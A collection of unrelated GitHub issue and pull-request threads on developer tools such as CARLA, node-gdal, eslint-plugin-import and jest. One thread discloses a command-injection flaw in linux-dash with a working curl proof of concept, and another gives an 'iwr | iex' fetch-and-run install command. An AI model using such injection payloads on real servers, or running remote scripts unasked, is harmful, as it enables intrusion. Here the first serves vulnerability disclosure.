Only one floor mesh when importing the map from roadrunner

Hello! I'm trying to import a Roadrunner map manually following this tutorial https://carla.readthedocs.io/en/latest/tuto_M_add_map_alternative/#manual-import (manually because I'm having some problems with make import). And i'm facing a problem. When the map is imported into Unreal the floor is only one mesh so i can't identify sidewalks, roads, etc because it is only one mesh :(
Someone has suffered this?
(I have tried with different maps and always happen the same).
Thanks you in advance!
Carla version: 9.13
NOTE: I always checked that the "combine meshes" option is disabeled

Hi @javiercalle97
I think the problem is when you export the .fbx. In RoadRunner. You must choose split geometry by Semantic Segmentation. This should work. Let me know if it works or not

Yes thanks! It worked. :)


injection vulnerabilities

https://github.com/afaqurk/linux-dash/blob/master/app/server/index.js#L76
and
https://github.com/afaqurk/linux-dash/blob/master/app/server/index.py#L30
are lacking escaping and are vulnerable to command injection

How to exploit the Python server:
python index.py --port 8080
Trigger the command injection:
curl -v 'http://localhost:8080/server/?module=$(touch${IFS}/tmp/uhoh)'
*   Trying <IP_ADDRESS>:8080...
* TCP_NODELAY set
* Connected to localhost (<IP_ADDRESS>) port 8080 (#0)
> GET /server/?module=$(touch$IFS/tmp/uhoh) HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: BaseHTTP/0.3 Python/2.7.18
< Date: Tue, 20 Apr 2021 15:09:56 GMT
< Content-type: text/html
<
{\"success\":false,\"status\":\"Invalid module\"}

Verify:
ls -ltr /tmp/uhoh
-rw-rw-r-- 1 thomas thomas 0 Apr 20 16:09 /tmp/uhoh

@tariqbuilds Maybe you should archive the project or put a warning in the readme as long as this isn't patched?


Does not run but everything is installed.

Hello i decided to use your tool to help me in my hunt for xss vulnerabilities, so long story short i installed everything as needed and attempted to do a simple scan on my target. Well it works but stops with only INFO and then goes back to root (kali@kali:~PwnXSS) so what could be the problem for it not scanning my target successfully is there something else i did not install to make this tool work ?

fixed release v.2

What does that mean ?


Fixed some javadoc samples

Resolves #30157
Resolves #30156
Resolves #30155

API change check
API changes are not detected in this pull request.


Design how to display event relative planning relationships in the side panel

There isn't an approach for showing relative links in the side panel. We could consider doing something similar to decomposition, or take a different approach if more appropriate. We should take into consideration how someone gets to this view, and how they navigate between the activity instance details and this information.

Dev link:
https://www.figma.com/file/ofQm38Q8VQ4uW0URDw2n7g/AERIE-Event-Relative-Planning?node-id=315%3A200619&t=HY4zxzwT5QOQJaho-4
This is a spinoff from: https://github.com/NASA-AMMOS/aerie-ui/issues/255

Dev is ready to go here:


Terrain does not render with Immersive Portals, Embeddium, and Oculus

Mod Name
Immersive Portals
Mod Homepage
https://github.com/iPortalTeam/ImmersivePortalsMod
Minecraft version
1.20.1
Describe the bug
Terrain Doesn't Render
Steps to reproduce

Load game using Embeddium 0.3.0, Oculus 1.6.9, and Immersive Portals 3.3.2
Start World
Terrain will be entirely invisible, rendering only skybox, particles, and the skybox of the other dimension if a portal is visible

Logs
debug.log
Additional context
Immersive Portals works fine but terrain simply does not render with either Embeddium or Immersive Portals (Or any other Sodium port) Not sure if Oculus causes this or Embeddium

Duplicate of #665


Cannot find coordinate operations (EPSG:8353)

On my system I can use gdal or qgis with EPSG:8353 but node-gdal-next fails. Can I do something with that?
Error: Cannot find coordinate operations from `ENGCRS["S_JTSK_JTSK03_Krovak_East_North",EDATUM[""],CS[Cartesian,2],AXIS["easting",east,ORDER[1],LENGTHUNIT["metre",1]],AXIS["northing",north,ORDER[2],LENGTHUNIT["metre",1]],ID["EPSG",8353]]' to `EPSG:4326'

What version of node-gdal are you using, what OS are you on, and can you include some sample code?

What version of node-gdal are you using, what OS are you on, and can you include some sample code?

@zdila, I am more surprised by the fact that you can use EPSG:8353 with a stock GDAL then the fact that it does not work with node-gdal-next  😄
The projection support we have comes from libproj - and the version we have does not include EPSG:8353.
And I don't see it on the official libproj repository either unless I am missing something?
But if your OS-provided version of GDAL does work with it - you can rebuild node-gdal-next to use it instead of using the prebuilt version that comes with it:
npm install gdal-next --build-from-source --shared_gdal

@zdila, I am more surprised by the fact that you can use EPSG:8353 with a stock GDAL then the fact that it does not work with node-gdal-next  😄
The projection support we have comes from libproj - and the version we have does not include EPSG:8353.
And I don't see it on the official libproj repository either unless I am missing something?
But if your OS-provided version of GDAL does work with it - you can rebuild node-gdal-next to use it instead of using the prebuilt version that comes with it:
npm install gdal-next --build-from-source --shared_gdal

I am using version installed by npm i node-gdal-next command with Node.js v14.15.0 on Debian Bullseye. GDAL version on my system (installed from official Debian reporitory) is 3.2.1. Version of libproj is 7.2.1.
EPSG8353 is mentioned in /usr/share/proj/proj.db which is from proj-data_7.2.1-1_all.deb.
My current workaround is to use https://www.npmjs.com/package/proj4 where it works by manually specifying projections:
const proj4 = require('proj4');

proj4.defs([
  [
    'EPSG:4326',
    '+title=WGS 84 (long/lat) +proj=longlat +ellps=WGS84 +datum=WGS84 +units=degrees'
  ],
  [
    'EPSG:8353',
    '+proj=krovak +lat_0=49.5 +lon_0=24.8333333333333 +alpha=30.2881397527778 +k=0.9999 +x_0=0 +y_0=0 +ellps=bessel +towgs84=485.021,169.465,483.839,7.786342,4.397554,4.102655,0 +units=m +no_defs'
  ]
]);

const [x, y] = proj4('EPSG:4326', 'EPSG:8353', [17.25605, 48.36889]);

This did not help:
npm install gdal-next --build-from-source --shared_gdal

I am using version installed by npm i node-gdal-next command with Node.js v14.15.0 on Debian Bullseye. GDAL version on my system (installed from official Debian reporitory) is 3.2.1. Version of libproj is 7.2.1.
EPSG8353 is mentioned in /usr/share/proj/proj.db which is from proj-data_7.2.1-1_all.deb.
My current workaround is to use https://www.npmjs.com/package/proj4 where it works by manually specifying projections:
const proj4 = require('proj4');

proj4.defs([
  [
    'EPSG:4326',
    '+title=WGS 84 (long/lat) +proj=longlat +ellps=WGS84 +datum=WGS84 +units=degrees'
  ],
  [
    'EPSG:8353',
    '+proj=krovak +lat_0=49.5 +lon_0=24.8333333333333 +alpha=30.2881397527778 +k=0.9999 +x_0=0 +y_0=0 +ellps=bessel +towgs84=485.021,169.465,483.839,7.786342,4.397554,4.102655,0 +units=m +no_defs'
  ]
]);

const [x, y] = proj4('EPSG:4326', 'EPSG:8353', [17.25605, 48.36889]);

This did not help:
npm install gdal-next --build-from-source --shared_gdal

node-gdal-next is not compatible with proj4 - so you will have to transform all the coordinates on your own
Can you find gdal.node in your node_modules/node-gdal-next and do an ldd gdal.node?
Normally, when you compile it like this, you should be calling the OS-provided GDAL from JS
Now, the question is, does the OS provided GDAL support it out of the box?
In proj.6 I have krovak but not EPSG:8353

node-gdal-next is not compatible with proj4 - so you will have to transform all the coordinates on your own
Can you find gdal.node in your node_modules/node-gdal-next and do an ldd gdal.node?
Normally, when you compile it like this, you should be calling the OS-provided GDAL from JS
Now, the question is, does the OS provided GDAL support it out of the box?
In proj.6 I have krovak but not EPSG:8353

Now I recall that with gdalwarp I was specifying transformation using proj4 string and not by EPSG code. I will recheck it tomorrow as I am no longer at PC.

Now I recall that with gdalwarp I was specifying transformation using proj4 string and not by EPSG code. I will recheck it tomorrow as I am no longer at PC.

If you create a gdal.SpatialReference.fromProj4 it should be possible to get it to work as it already supports the underlying transformation - krovak - only the projection specification is missing

If you create a gdal.SpatialReference.fromProj4 it should be possible to get it to work as it already supports the underlying transformation - krovak - only the projection specification is missing

OK, my bad, gdalwarp works only when I specify proj4 transformation string and not only srs.
gdal.SpatialReference.fromProj4 works. Thank you.
I apologize for invalid report. Feel free to close this issue.

OK, my bad, gdalwarp works only when I specify proj4 transformation string and not only srs.
gdal.SpatialReference.fromProj4 works. Thank you.
I apologize for invalid report. Feel free to close this issue.

Thanks for helping out @mmomtchev !

Thanks for helping out @mmomtchev !


Clipboard no longer works after installing tweaks

Describe the bug
For some reason, after I run the tweaks and use the laptop preset and restart the win + v command for clipboard no longer works. Everything else, like emojis, project ... works .
To Reproduce
Steps to reproduce the behavior:

Run iwr -useb https://christitus.com/win | iex
Go to tweaks tab and click on laptops preset
install tweaks and reboot
Try opening clipboard using win + v command and clipboard doesn't appear
NOTE: it worked before because I remember pinning the install command to the clipboard before running it.

I feel so silly right now.  At the bottom, there is an option called customize OO Shutup tweaks where you'll find the option to enable and disable clipboard history.


Implement the KPL Aggregated Record Format for Kinesis indexing service

The Kinesis indexing service (#6431) supports de-aggregation of multiple rows packed into a single record by the Kinesis Producer Library's aggregate method for more efficient data transfer. Currently, enabling the de-aggregate functionality requires the user to manually provide the Kinesis Client Library on the classpath, since this library has a license not compatible with Apache projects.
See: https://github.com/apache/incubator-druid/pull/6431/files#diff-88b66c67f91d2ab9d26a23abf0543bfbR312
A better solution would be for the Druid project to implement the protocol ourselves according to the specification here: https://github.com/awslabs/amazon-kinesis-producer/blob/master/aggregation-format.md
For legal reasons, this should be done by a contributor who has not read through the Amazon licensed implementation so that there is no case for copyright infringement (https://en.wikipedia.org/wiki/Clean_room_design).

<EMAIL_ADDRESS>means we can now package the AWS lib itself instead of implementing the protocol ?

@himanshug yes.  Closing #6917 since it's no longer necessary.


merge develop into fix/literal ops

@Clueliss One thing I came across while merging: should this https://github.com/rdf4cpp/rdf4cpp/blob/248a646576483e5fd70ac4819c91eb5bae63fc08/src/rdf4cpp/rdf/datatypes/registry/DatatypeRegistry.hpp#L85 be DatatypeID?

@Clueliss One thing I came across while merging: should this
https://github.com/rdf4cpp/rdf4cpp/blob/248a646576483e5fd70ac4819c91eb5bae63fc08/src/rdf4cpp/rdf/datatypes/registry/DatatypeRegistry.hpp#L85
be DatatypeID?

Yes, that is intended to be std::string I thought it would be kind of useless to store a datatypeId there since you can know the fixed id already by what index it is in. So I think having the actual IRI there is more useful.

Merge looks good. Thanks for doing that :).
I forgot that I needed to do that last week and was out of time when I noticed. Sorry


[Fix] add missing optional peer dependencies

The plugin uses @typescript-eslint/parser as the default parser for typescript files in the exported typescript config. eslint-import-resolver-node is also used as the default resolver.
This PR adds the packages as optional peer dependencies so that they can be safely accessed.

This is a breaking change for npm versions that lack optional peer dep support.

Hi @ljharb. I'm not sure I understand why this would be a breaking npm <7. If the package manager doesn't support optional peer dependencies, then wouldn't the behaviour be the same as it is now?

Peer dependencies are always required, unless the package manager supports optional peer deps and it's also declared as such.
So, since adding a non-optional peer dependency is a breaking change, this would be a breaking change as well.

This change doesn't add the dependencies to peerDependencies though, so there shouldn't be any impact there. They're only added to peerDependenciesMeta as optional. So packages that do not support peerDependenciesMeta will have no impact.

ah, i see what you mean.
That confuses me tho. peerDependenciesMeta is only intended to describe things listed in peerDependencies. It's not supposed to have any effect to put something in there that's not mentioned in peer deps.
Is this something you're observing in npm, or in an alternative client?

If marking a dependency as optional in peerDependenciesMeta it implicitly considers that to be "dependency": "*" if no specific version ranges have been listed in peerDependencies.
So it seems like that would allow us to avoid any breaking changes as there is no need to modify peerDependencies.
I'm using yarn myself.

Presumably you're using PnP? normal yarn matches npm afaik, which doesn't require anything to be marked as a peer dep to be "accessible".

Yep I am running PnP in CI for now and node modules linker locally. The node modules linker in both yarn and npm seem to work in this case as they are accessing these transitive dependencies. But since they are being explicitly required in these packages it would seem to be correct for them to be declared as peer dependencies.

I believe that's because yarn itself has hardcoded these examples for this plugin.
It's not "more correct" because there's nothing correct about requiring a declaration. The correct thing is for transitive dependencies to be nondeterministically available to the application.

Accessing transitive dependencies is inherently unsafe, regardless of package manager. Things might just break when your dependencies change their dependencies...

In the case of the TS parser, you'd have it as an explicit top-level dep if it's used in your config (or a shared config would have it as a peer dep). In the case of the node resolver, it's a runtime dep of this plugin, so we can be certain we'll never remove it.

eslint-plugin-import isn't the only consumer of eslint-module-utils though. There are other plugins like https://github.com/azz/eslint-plugin-monorepo which use the utils to resolve paths. If you're saying that these packages too should add eslint-import-resolver-node as a dependency if they intend to use the default resolver then that seems like exactly what peer dependencies are designed to indicate.
Even if we're just considering the node modules linker, without having these peer dependencies explicitly declared, strict node modules layouts like what pnpm uses would not necessarily have access to these packages.
In your view, what is the purpose of optional peer dependencies is if not for this?

For one, anything npm doesn't do isn't something I think needs to be catered to - npm is the standard. That said, npm will be adding a pnpm-like "isolated mode" soon, at which point I'd be obliged to address it somehow.
See https://github.com/import-js/eslint-plugin-import/pull/2283#discussion_r739965061 for why eslint-module-utils is correct as-is - it, like eslint itself, dynamically requires things based on config, and thus, it's always up to consumers to ensure that the things their config references are installed.

npm may have been grandfathered into node, but I wouldn't say it is the "standard". Node now provides yarn and pnpm out of the box via corepack.
I still don't understand what you think the purpose of optional peer dependencies are if you think that all packages should have access to all transitive dependencies.
You obviously have some very strong opinions about what package manager users of eslint-plugin-import should use. I'm not going to argue. I just thought I'd try to contribute a fix to resolve the issue of undeclared dependencies, which it sounds like you will eventually have to address once it becomes an issue with npm.

The sole purpose of optional peer deps is for something that, if present, must conform to a version range, but need not be present.

The sole purpose of optional peer deps is for something that, if present, must conform to a version range, but need not be present.

I would argue that the purpose of optional peer deps is to notify the package manager that you would like access to these peer deps if they are in the project. If there is official documentation stating otherwise I'd love to find out.
I'm writing a package manager of sorts for Nix, where it would be most efficient if each package would declare their (optional) (peer) dependencies correctly, so that those can be symlinked together instead of copied.
I can confirm that pnpm treats peerDependenciesMeta packages that are not mentioned elsewhere as peerDependencies matching any version. Npm and Yarn copy things together so they leak access that way.

Incidentally, utils also requires eslint to find espree, which means eslint or espree are peer dependencies. Since every project that uses this plugin also uses eslint, I'd argue that eslint should be a peer dependency.

That’s not why it means - utils looks for espree/eslint inside a try/catch, which isn’t a peer relationship. Peer deps aren’t for defining “allowed dependencies to access”, optional or otherwise.


No JavaString equals method

The current implementation has no equals method for the JavaString class in the amplify-appsync-simulator package

fixed by #4316

@rickfoxcroft thanks for the suggestion and the PR as well!

@rickfoxcroft thanks for the suggestion and the PR as well!

Thanks for the quick feedback @attilah . It looks like @yuth has given the thumbs up to #4316. Are we ready to merge this?


Automated cherry pick of #222: fix(postgres) postgres requires a password now

Cherry pick of #222 on 2.3.x.
#222: fix(postgres) postgres requires a password now
For details on the cherry pick process, see the cherry pick requests page.

:tada: This PR is included in version 2.3.2 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


ilia keybindings should be documented and discoverable

See https://github.com/regolith-linux/regolith-desktop/issues/268

Visual discovery will come later.  For now added docs to readme.

Added help tab with keybinding info


Update and Fix iOS v5 code snippets

Updated iOS code snippets for v5 integration and migration guide
Majorly improvised Swift code snippets
Fixed Obj-C code snippets in some places

@Sporiff Could you help me to add a new section for Swift code snippet here - https://dev.adjust.com/en/sdk/ios/features/short-links?version=v5#set-up-the-adjust-sdk-to-resolve-short-links

@Aditi3 lmk when you're finished and I'll review/merge 👍

Hey @Sporiff, I'm finished with my changes. Could you help to resolve the preview deployment failure message?


SwiftR : Handle iOS app inactive/background state

Once the app is moved to background, SignalR connections are closed, and therefore I'm not getting any messages from signalR. How to handle this scenario. Is push notification, the only way to handle this issue?

Hi @nmohankumarcse did you find any workaround of this ?

Hi @nmohankumarcse  any update for me on the same ?

Hi @krishnameena No other workaround. I handled it through push notification.

Hi @nmohankumarcse if the app comes foreground i am getting all the message in one shot how were you handling it?


--output-file not working as expected with --bail

Version
29.7.0
Steps to reproduce

Clone the repo https://github.com/ayazhafiz/jest-bail-issue-reproduction

Run an npm install

Run the following bash script:
rm -f out.json
node_modules/.bin/jest --json --output-file out.json --bail
file out.json

You should observe that the "out.json" file does not exist after jest exits.

Expected behavior
The "out.json" file should exist, as it does with an invocation of jest without --bail.
Actual behavior
The "out.json" does not exist if --bail is passed.
Additional context
No response
Environment
System:
  OS: macOS 13.2
  CPU: (10) arm64 Apple M1 Pro
Binaries:
  Node: 20.5.0 - /opt/homebrew/bin/node
  Yarn: 1.22.19 - ~/.npm-packages/bin/yarn
  npm: 9.8.0 - /opt/homebrew/bin/npm
  pnpm: 8.5.1 - ~/.npm-packages/bin/pnpm
npmPackages:
  jest: ^29.7.0 => 29.7.0

The behavior also seems to be dependent on the shape of the stdout stream. For example, if I redirect stdout to /dev/null, passing --output-file writes to the file.
Trace
$ rm -f out.json
node_modules/.bin/jest --json --output-file out.json --bail >/dev/null
file out.json
FAIL ./test.js
  ✕ should fail (3 ms)

  ● should fail

    expect(received).toBe(expected) // Object.is equality

    Expected: 2
    Received: 1

      1 | it('should fail', () => {
    > 2 |   expect(1).toBe(2)
        |             ^
      3 | })
      4 |

      at Object.toBe (test.js:2:13)

Test Suites: 1 failed, 1 total
Tests:       1 failed, 1 total
Snapshots:   0 total
Time:        0.156 s, estimated 1 s
Ran all test suites.
Test Suites: 1 failed, 1 total
Tests:       1 failed, 1 total
Snapshots:   0 total
Time:        0.157 s, estimated 1 s
Ran all test suites.
Test results written to: out.json
out.json: JSON data

$ rm -f out.json
node_modules/.bin/jest --json --output-file out.json --bail
file out.json
 FAIL  ./test.js
  ✕ should fail (2 ms)

  ● should fail

    expect(received).toBe(expected) // Object.is equality

    Expected: 2
    Received: 1

      1 | it('should fail', () => {
    > 2 |   expect(1).toBe(2)
        |             ^
      3 | })
      4 |

      at Object.toBe (test.js:2:13)

Test Suites: 1 failed, 1 total
Tests:       1 failed, 1 total
Snapshots:   0 total
Time:        0.135 s, estimated 1 s
Ran all test suites.
out.json: cannot open `out.json' (No such file or directory)


Implement pending gem for Vmware Cloud connection to Rabbit

Purpose or Intent
This is firt part of EventCatcher integration for VMware Cloud.
This module will be used by workers to consume messages from RabbitMQ.
It's originally part of https://github.com/ManageIQ/manageiq/pull/10192
Steps for Testing/QA
To test it I suggest to run the following code:
monitor = VmwareVcloudEventMonitor.new(
    :hostname => "<IP_ADDRESS>",
    :username => "rabbit_user",
    :password => "password",
    :port => 5672,
    :queues => ['my-queue'],
)
monitor.start
monitor.each_batch do |events|
  if events && !events.empty?
    print("Received events:\n")
    events.each do |e|
      print("   - #{e.to_hash}\n")
    end
  else
    print("Received no events\n")
  end
end

Then go to VMware Cloud Director GUI, make a change (e.g. suspend instance) and see console - it should print event type and all the details.

@blomquisg Can you review since you have some familiarity with rabbit wrt/openstack?

@agrare, what can we do to move this forward?

@gtanzillo As @agrare is on holidays, can you review it?

I tested this against the XLAB vCD using Miha's testing steps and it worked as expected
@blomquisg can you review the parts that came from the openstack rabbit gem?

@agrare wouldn't you need to assign it to @blomquisg then?

@blomquisg ^^ https://github.com/ManageIQ/manageiq/pull/10274#issuecomment-245358684
@miq-bot assign blomquisg

@miha-plesko this looks great.  One thing I'm worried about is the directory location of these.  I know that the files for OpenStack were in a similar location, but since that implementation we've changed how we're organizing providers.
If you look at the Azure provider, you can see the event_catcher/stream.rb file is basically the same thing as the vmware_vcloud_event_monitor.rb in this PR.
I think if you just combined the methods from vmware_vcloud_event.rb into vmware_vcloud_event_monitor.rb and then moved the vmware_vcloud_event_monitor.rb to app/models/providers/vmware/cloud_manager/event_catcher/stream.rb.
Then, when the event catcher worker pieces are put into place, that will nicely pull this in.

Thank you for pointing this out, @blomquisg. Do you think that it would then make more sense to extend this PR with all the code for EventCatcher functionality? The PR would appear large, but it might be easier to test.

@miha-plesko I'd be fine with this PR having all of the event catcher worker pieces.  I don't think it would add too much to the content.  And, it would mostly be boilerplate code.
But, I'm also fine merging this as just the event monitor piece.
Which ever way you feel more comfortable.

Thanks @blomquisg, I've applied your comment and prepared a PR with a more complete EventCatcher code here. Everything related to events should work except the GUI part, which is not implemented yet. Could you take a look, please?

@miha-plesko that looks pretty good .... I'll start reviewing https://github.com/ManageIQ/manageiq/pull/11362.  Do you want to replace this PR with that one?
If so, feel free to close this one in favor of the other one.


Release 5.2.4

Merge latest release_5.2.4 changes into master.

These commits were already approved in previous pull requests and are already included within the repo, so additional authorization from authors is not required.


examples repo

@sbstjn you should add this project here! https://github.com/serverless/examples

Thanks for the hint. I created a PR …


Decode numpy array with ints

Summary
Details and comments
Fixes #1354

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 82.74%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
6232

Relevant Lines:
7532

💛  - Coveralls


Find gradle dependency licenses via new dependency subclass

:wave: @dbussink here's what I had in mind about loading dependency license contents using a subclass.  I don't have gradle locally so haven't yet run any tests to see if this actually works, but it hopefully is enough to demonstrate the idea.

This takes the approach that generating the CSV isn't too costly and can be created on every run of this source. Is that idea valid?

This is something I have been explicitly trying to avoid, as generating the CSV adds the additional dependency listed in the Gradle file and also therefore implies potential network operations. The idea of the original change was that license verify could run without needing to install / run that additional dependency, so that's why I only added it to the cache step.

This is something I have been explicitly trying to avoid, as generating the CSV adds the additional dependency listed in the Gradle file and also therefore implies potential network operations.

@dbussink 👍 thanks for the additional context!  I changed the code here so that the csv is loaded from in the dependency class.  It takes a little rework to make everything callable but otherwise I think this should work while keeping all the changes needed localized to the gradle source.
Does this make more sense?  Is it something you can work with to completion?

The CSV loading has the same issue that it also connects to the internet afaik and will end up downloading the plugin on demand as well. If the aim is to have license validation work without that as a dependency, I don't think this works?

It should, though as I said it's untested.
Finding dependency license files and evaluating their contents using licensee happens as a result of loading the Dependency#record data.  Similarly the license metadata field is set on-demand when evaluating the metadata for a dependency's record data.
So the solution in this PR hooks into the mechanism that is used to find license files via a method override from Licensee::Projects::Project, and that mechanism should only be triggered from the cache command.

@jonabc I pushed up some fixes to make this PR work, do the changes make sense to you?

@dbussink thanks for getting things working!  I made some followup changes, mostly cleanup and trying to reduce the amount of path data that needed to be considered.  I'll leave comments inline

added gradle tests to CI 👍 but had to remove the test to verify behavior when gradle/gradlew aren't available.  I wasn't able to figure out how to get CI to not find gradle while finding everything else needed to run licensed. 🤷♂ doesn't look like any of the other sources make much effort to verify behavior when the required language tools aren't available

@dbussink do you have any more thoughts here?  If you don't see any complications with this approach I think it's preferable to introducing the shared method that needs to be considered when writing or updating commands.


Im using it with typescript and Im getting errors

I installed "react-big-calendar": "^0.14.4", and "@types/react-big-calendar": "^0.12.1",
when I do
import  BigCalendar from 'react-big-calendar';
I get this error: Module ''react-big-calendar'' has no default export.
when I try doing this
import * as BigCalendar from 'react-big-calendar';
I get this error: Property 'views' does not exist on type 'typeof BigCalendar'.
import * as React from 'react';
import  BigCalendar from 'react-big-calendar';
//import * as BigCalendar from 'react-big-calendar';
import  moment =  require('moment');

let allViews = Object.keys(BigCalendar.views).map(k => BigCalendar.views[k])

BigCalendar.setLocalizer(
  BigCalendar.momentLocalizer(moment)
);

let Calendar = React.createClass({
  render(){
    return (
      <BigCalendar
         {...this.props}
          events={[{
          'title': 'All Day Event',
          'allDay': true,
          'start': new Date(2015, 3, 0),
          'end': new Date(2015, 3, 1)
        },
        {
          'title': 'Long Event',
          'start': new Date(2015, 3, 7),
          'end': new Date(2015, 3, 10)
        }]}
        views={allViews}
        defaultDate={new Date(2015, 3, 1)}
        />
    )
  }
})

export default Calendar;

Thanks in advance for your help!

Sorry I really don't know, I don't usually use typescript :/

@m-salamon I see API has changed in v0.14 so definitions needs to be updated.
Because manually updating declarations is very tedious work I suggest to take some kind of parser that automatically generate type definitions from JS code.
There are at least few tools available but I would recommend starting with this one: https://github.com/Microsoft/dts-gen


Add: Dox TV [RS]

Channel Name
Dox TV
Alternative Names (optional)
No response
Network (optional)
No response
Owners (optional)
No response
Country
RS
Subdivision (optional)
No response
City (optional)
No response
Broadcast Area
c/RS
Languages
srb
Categories (optional)
Documentary
NSFW
FALSE
Launched (optional)
No response
Closed (optional)
No response
Replaced By (optional)
No response
Website (optional)
https://www.doxtv.rs/
Logo
https://uploads-ssl.webflow.com/5cf82e0188aeb17f79fa5d4b/615c670a4f3e4f85b76ca033_DOXTV - logo - footer.png
Notes
No response

Already in the database: https://iptv-org.github.io/channel?id=DoxTV.hr


Types broken in v7

https://github.com/jakeleventhal/graphql-request-type-issue
You closed the issue where this was being discussed: https://github.com/jasonkuhrt/graphql-request/issues/845#issuecomment-2113924523
Reopening. I updated the tsconfig to node16 and the issue persists. I updated the readme accordingly

You need to put "type": "module", into the package.json. I'll make a mention of this in the README as well.

@jakeleventhal off-topic, but you might be interested to know you can manage your package manager version through your package.json with Corepack and the packageManager field.


Add python bindings for EVerest

support for multiple requirements
support for types
support for module and implementation configs
initial support for cross compiling
publish variables with QOS2
python modules use std::filesystem instead of boost::filesystem
EVEREST_ENABLE_JS_SUPPORT and EVEREST_ENABLE_PY_SUPPORT options
Set to "ON" by default these options make it possible to selectively enable and disable JavaScript and Python support in the framework
Add everestpy to pylint extension-pkg-allow-list

Signed-off-by: Sebastian Lukas<EMAIL_ADDRESS>Signed-off-by: Kai-Uwe Hermann<EMAIL_ADDRESS>Co-authored-by: Sebastian Lukas<EMAIL_ADDRESS>Co-authored-by: aw<EMAIL_ADDRESS>

Ok, then lets drop the QOS commit. I'll be fine with it

Lookup is removed, QOS2 is the default for variable publishing from now on. As was the case if you did not explicitly set a lower QOS in this branch for a long time


Darken the editor window if a pop-up window is open

To make the editor more polished, it would be a good idea to darken the editor window if a pop-up window is open, such as a file selection dialog or a progress action, especially since you can't interact with the background in this case (if you do, you usually close the pop-up window if it's closeable). Of course, it shouldn't be too dark to keep the background readable, a 50% darkening sounds good.
Similar behavior can be observed in eg. KDE.

And please make it so that clicking the background does not close a window and discards all your hard-earned changes you made in the popup.
I might check on that anway when I implement resizable setting dialogs and storing their positions.


Heap class begin and end

Need pointers to begin and end of allocated memory.

// example
if(i == array.begin){
    // something
}

if(i == array.end){
    // something
}


Wrong response entity for State

Resource /containerapi/CSARs/{c}/ServiceTemplates/{t}/Instances/{id}/State should return the correct response entity. Currently Properties are returned by this resource...

Fixed in https://github.com/OpenTOSCA/container/commit/aefeae7b489f79a12674215e4d241176ec328be4


feat: daemon mode

Hello
I'm new to NATS and natscli. I'm running a NATS JetStream with nats server run --jetstream AJC.
I eventually need to log out from a my VM, where I run this. This makes me drop the server.
Is there a way to run a nats server in a daemon mode? Smth like nats server run -d --jetstream AJC, where you normally specify -d to run in a daemon mode.
I'm not sure whether this is a documentation or a feature request.

For that you need to set up a nats-server instance perhaps in a container or kubernetes. The “nats server run” is specifically just for quick access to a local development environment that’s ephemeral.
See docs.nats.io

Hi @ripienaar
Thanks for your advice. I was following this to run a nats-server.
However, there's still no option to run nats in a daemon mode. I wanna run it on a VM and purposely avoid Docker. How do I run nats on a bare metal in a daemon mode ?

Use the systemd units found here https://github.com/nats-io/nats-server/tree/main/util

I found an old discussion on this here

@ripienaar thanks for your advice. systemd does the job


Capture development emails with MailHog

My preferred way to capture and view emails being sent by a Rails app in development is to use MailHog. It runs a local SMTP server at port 1025 and a barebones email client at port 8025.
The mailhog utility can be installed with brew:
$ brew install mailhog

The development smtp settings are configured in config/environments/development.rb:
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = { address: "localhost", port: 1025 }

Then start running mailhog with its default settings:
$ mailhog

All outgoing email from the development server will be captured and viewable in
both html and text form at localhost:8025.
Source: https://github.com/jbranchaud/til/blob/master/rails/capture-development-emails-with-mailhog.md

See https://www.jdeen.com/blog/configure-default-url-options-on-rails for more information about getting routes to work with a hostname in development.


Consider renaming node.systemName

Discussion https://github.com/apple/swift-distributed-actors/pull/112#discussion_r326903899

Neither are generated. Picking something like "shortName" might be ok here or "label" perhaps... We use them in first@12.3.4:999/user/path/actor and they are useful for human readable names fist/second or "us-west-1991" etc. We do NOT enforce them all have to be the same in a cluster -- unlike akka, where the name has to be the same for all nodes in the "same cluster", so there it is more of a "actor system name" since by system we like to talk about "all the nodes" 🤔 The same name thing is too restrictive and does not really help in real world, so we lifted that in swift. But we might also want to change the name then...
Short name is kind of what erlang calls them; there one can use "short names" or "full names -- which are IPs", though short names are only for local mode I believe.

I'm thinking shortName or name or label?

While fixing https://github.com/apple/swift-distributed-actors/issues/1141 I've realised systemName is actually not so important, so probably makes sense to rename. If we compare shortName vs. label from first glance not sure what shortName should mean, but label is short and descriptive.


starry: init at 2.0.1

https://github.com/Canop/starry
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[x] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 250643 run on x86_64-linux 1

1 package built:

starry


Create hah.txt

Try if I can

OK

OK

Please stop opening these spammy requests. If you need practice with pull requests, you can open them against your own repositories. Thanks.

Please stop opening these spammy requests. If you need practice with pull requests, you can open them against your own repositories. Thanks.


Updating product name to reflect naming change

Updating Azure Sentinel to say Microsoft Sentinel

Before submitting this PR please ensure that you have read the following sections and filled out the changes, reason for change and testing complete sections:
Thank you for your contribution to the Microsoft Sentinel Github repo.

Details of the code changes in your submitted PR.  Providing descriptions for pull requests ensures there is context to changes being made and greatly enhances the code review process.  Providing associated Issues that this resolves also easily connects the reason.

Change(s):

Updated syntax for XYZ.yaml

Reason for Change(s):

New schema used for XYZ.yaml
Resolves ISSUE #1234

The code should have been tested in a Microsoft Sentinel environment that does not have any custom parsers, functions or tables, so that you validate no incorrect syntax and execution functions properly.  If your submission requires a custom parser or function, it must be submitted with the PR.

